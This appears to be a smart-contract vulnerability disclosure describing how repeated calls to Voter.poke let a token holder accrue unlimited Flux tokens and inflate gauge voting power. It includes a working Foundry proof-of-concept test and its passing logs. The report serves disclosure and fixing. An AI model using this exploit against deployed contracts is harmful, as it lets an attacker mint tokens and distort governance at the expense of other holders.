Since Voter@poke does not check if the given token id already voted in the current epoch, it can be repeatedly called by a user to accrue Flux tokens indefinitely.
Impact Details
Artificially boost voting power for gauges voting.
function testPokeRepeatedly() public {
uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
hevm.startPrank(admin);
console2.log("Initial Unclaimed Flux", flux.unclaimedFlux(tokenId1));
voter.poke(tokenId1);
console2.log("Unclaimed Flux after one poke", flux.unclaimedFlux(tokenId1));
for (uint256 i; i < 10; i++) {
voter.poke(tokenId1);
}
console2.log("Unclaimed Flux after 10 other pokes", flux.unclaimedFlux(tokenId1));
flux.claimFlux(tokenId1, flux.unclaimedFlux(tokenId1));
console2.log("Flux ERC20 balance", flux.balanceOf(admin));
}
Results
Ran 1 test for src/test/Voting.t.sol:VotingTest
[PASS] testPokeRepeatedly() (gas: 1457575)
Logs:
Initial Unclaimed Flux 0
Unclaimed Flux after one poke 994553684669529957
Unclaimed Flux after 10 other pokes 10940090531364829527
Flux ERC20 balance 10940090531364829527
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 55.84s (45.19s CPU time)
Ran 1 test suite in 57.17s (55.84s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)